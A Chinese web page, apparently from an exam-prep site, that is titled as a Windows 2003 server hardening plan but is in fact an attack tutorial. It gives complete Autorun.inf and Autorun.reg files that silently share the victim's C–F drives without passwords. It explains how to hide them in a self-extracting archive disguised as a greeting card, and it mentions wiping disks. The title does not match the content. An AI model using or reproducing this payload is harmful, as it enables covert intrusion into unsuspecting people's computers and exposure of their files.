系统安全之WIN2003服务器安全加固方案 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/465/2021_2022__E7_B3_BB_E7_BB_9F_E5_AE_89_E5_c67_465920.htm 用自解压包删光别人的硬盘，相信大家都会。我给大家介绍个用自解压包入侵的方法。 如果捆绑一个木马给别人，只要稍有常识的人有杀毒软件就可以识破。如果不用木马，用些批处理炸弹、碎片对象文件、或自导入注册表文件，就可以实现各种攻击。 把以下两行保存为Autorun.inf [Autorun] open=regedit /s Autorun.reg 把以下一段保存为Autorun.reg REGEDIT4 小虫网络技术http://www.chinaccna.com [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\c$] "Path"="c:\\" "Remark"="" "Type"=dword:00000000 "Flags"=dword:00000192 "Parm1enc"=hex: "Parm2enc"=hex: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\D$] "Path"="D:\\" "Remark"="" "Type"=dword:00000000 "Flags"=dword:00000192 "Parm1enc"=hex: "Parm2enc"=hex: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\E$] "Path"="E:\\" "Remark"="" "Type"=dword:00000000 "Flags"=dword:00000192 "Parm1enc"=hex: "Parm2enc"=hex: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\F$] "Path"="F:\\" "Remark"="" "Type"=dword:00000000 "Flags"=dword:00000192

"Parm1enc"=hex: "Parm2enc"=hex: 比如在当今电子贺卡漫天飞的时代，可以把你的自解压包命名为“ 猴年贺卡 ”，包里包个真贺卡，顺便把以上两个文件打包进去，注意要指定文 件解包路径。当收贺卡人点击自解压包时真贺卡被解压的同时，两个文件就悄悄的被解到指定位置。Autorun.inf必须解到某一分区的根目录，名字不能变，可以设置文件隐藏属性。Autorun.reg文件名和释放目录可以任意，可以更好的隐藏，注意Autorun.inf指向目录正确的地方。 当受害人双击有Autorun.inf的分区时，他的硬盘C、D、E、F分区就被打开公享。 100Test 下载频道开通，各类考试题目直接下载。详细请访问 www.100test.com